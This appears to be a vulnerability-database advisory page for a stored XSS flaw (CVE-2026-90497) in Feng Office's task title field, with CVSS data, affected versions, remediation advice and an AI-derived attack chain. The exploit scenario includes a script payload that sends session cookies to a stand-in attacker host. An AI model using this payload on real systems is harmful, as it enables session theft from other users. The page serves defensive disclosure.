Skip to main content

Feng Office CVE-2026-90497

| EUVDEUVD-2026-76950 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-09-13 VulDB GHSA-6jfr-pc8j-pp9q
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege Feng Office account
  2. Delivery
    Inject XSS payload into task name via og_objects.name
  3. Exploit
    Victim privileged user views task title
  4. Execution
    Unsanitized script executes in victim's browser
  5. Impact
    Exfiltrate session cookie or perform CSRF action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a low-privilege authenticated account on the target Feng Office instance (PR:L per CVSS 4.0 vector), specifically with permission to create or modify tasks - a standard capability for regular project members. A victim user with sufficient privilege must subsequently view the task containing the injected payload (UI:P). Anonymous unauthenticated attackers cannot exploit this directly. No special server configuration, non-default module, or unusual deployment mode is required beyond having the task module active, which is default in Feng Office. Exploitation is therefore scoped to insider-threat scenarios, compromised credentials, or environments permitting self-registration.

Impact

The CVSS 4.0 score of 5.1 accurately reflects medium severity. The network attack vector (AV:N) is partially offset by the requirement for low-privilege authentication (PR:L) and passive victim interaction (UI:P), which limit opportunistic mass exploitation. No EPSS score is provided in the input; the vulnerability is not in CISA KEV, confirming no confirmed active exploitation at time of analysis. The publicly available POC (hosted on Google Drive per references) materially raises the practical threat level for organizations running this software, as weaponization effort is minimal once a valid low-privilege account is obtained. The absence of any vendor patch - confirmed by vendor non-response to disclosure - means the vulnerability remains permanently unaddressed in current releases. Real-world risk is primarily bounded by Feng Office's limited deployment footprint rather than inherent technical complexity.

Exploit ScenarioDerived

An authenticated low-privilege Feng Office user (e.g., a regular project member) creates a task and sets the task name to a crafted XSS payload such as <script>fetch('https://attacker.tld/?c='+document.cookie)</script>. When a project manager or administrator views the task list or task detail page, the payload executes in their browser, exfiltrating their session token to the attacker. A public POC demonstrating this attack path is available via the Google Drive link in the VulDB reference.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 13, 2026

Cross-site scripting in Fengoffice Feng Office up to version 3.11.13.11 allows an authenticated low-privilege user to inject malicious JavaScript via the og_objects.name argument processed by the getTitle() function in the Task Title Output component. When a victim user subsequently views the affected task, the unsanitized payload executes in their browser. No vendor patch exists - the vendor did not respond to coordinated disclosure - and a public proof-of-concept exploit is available.

RemediationAI

No vendor-released patch is available at time of analysis - the vendor did not respond to coordinated disclosure, and no fix version has been published. As a primary compensating control, restrict task creation and editing permissions to fully trusted internal users only, eliminating the low-privilege attacker prerequisite. Deploying a WAF rule to sanitize or block common XSS payloads (e.g., script tags, event handlers) in the og_objects.name field provides a secondary control, though WAF bypass remains possible. Organizations with web application firewall capabilities can target the add_task.php endpoint specifically. Until a patch is issued, monitor VulDB at https://vuldb.com/vuln/403085 for updates. If Feng Office is internet-exposed, strongly consider placing it behind VPN or IP allowlist to prevent unauthenticated access that could enable account compromise followed by XSS exploitation.

Affected VersionsENISA

Feng Office 3.11.13.10
Feng Office 3.11.13.2
Feng Office 3.11.13.5
Feng Office 3.11.13.8
Feng Office 3.11.13.11
Feng Office 3.11.13.4
Feng Office 3.11.13.0
Feng Office 3.11.13.9
Feng Office 3.11.13.1
Feng Office 3.11.13.6
Feng Office 3.11.13.3
Feng Office 3.11.13.7

Affected Packages

euvd feng_office no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Feng Office is an open-source PHP-based project management and collaboration platform. The vulnerable code path is application/views/task/add_task.php, where the getTitle() function outputs task title data derived from the og_objects.name database field directly into HTML without proper output encoding or sanitization. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) identifies the root cause: user-controlled input traverses from storage to rendered HTML without escaping. The CPE string cpe:2.3:a:fengoffice:feng_office:*:*:*:*:*:*:*:* confirms all tracked releases up to and including 3.11.13.11 are within scope.

Know when Feng Office gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Authenticated low-privilege required (PR:L), victim must view the task (UI:R), XSS executes in victim's browser context causing scope change (S:C), with limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 13, 2026 - 06:22 NVD
MEDIUM LOW
CVSS changed
Sep 13, 2026 - 06:22 NVD
5.1 (MEDIUM) 2.0 (LOW)
CVE Published
Sep 13, 2026 - 05:45 cve.org
MEDIUM 5.1

DescriptionCVE.org

A vulnerability was determined in Fengoffice Feng Office up to 3.11.13.11. Affected by this vulnerability is the function getTitle of the file application/views/task/add_task.php of the component Task Title Output. Executing a manipulation of the argument og_objects.name can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
niche open-source project management tool, limited enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy